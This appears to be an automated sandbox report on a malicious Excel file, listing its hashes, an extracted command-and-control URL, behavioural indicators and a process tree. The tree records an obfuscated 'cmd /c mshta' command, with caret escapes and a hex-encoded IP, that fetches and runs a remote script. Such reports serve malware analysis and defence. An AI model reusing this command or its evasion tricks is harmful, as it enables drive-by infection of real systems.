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Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11/11/2024, 21:15
Behavioral task
behavioral1
Sample
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
Resource
win10v2004-20241007-en
General
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Target
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls
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Size
114KB
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MD5
e6ec6de5a4a7782d12856e095fef6552
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SHA1
0c8559da122fe6c1cb38f6f199b5bc85c0694455
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SHA256
fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db
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SHA512
c3061750de5e0723e16ccfb3c1a0db8f0a59d4d95ab576dd93ad2af0ea5bea61500ced581229d9dcc6a139c1b770fe7bf3184af7b9676014a920ab54cd5054da
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SSDEEP
3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i
Malware Config
Extracted
http://92.255.57.195/sec/se4.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2676 2264 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 3 2684 mshta.exe 5 2684 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2264 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2264 EXCEL.EXE 2264 EXCEL.EXE 2264 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2264 wrote to memory of 2676 2264 EXCEL.EXE 30 PID 2264 wrote to memory of 2676 2264 EXCEL.EXE 30 PID 2264 wrote to memory of 2676 2264 EXCEL.EXE 30 PID 2264 wrote to memory of 2676 2264 EXCEL.EXE 30 PID 2676 wrote to memory of 2684 2676 cmd.exe 32 PID 2676 wrote to memory of 2684 2676 cmd.exe 32 PID 2676 wrote to memory of 2684 2676 cmd.exe 32 PID 2676 wrote to memory of 2684 2676 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\fecc0c120998d0af6e379b26a249b57ac4f5b504489b211b09f49bd914d879db.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2264 -
C:\Windows\SysWOW64\cmd.execmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\SysWOW64\mshta.exemshta http://0x5cff39c3/sec/se4.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2684
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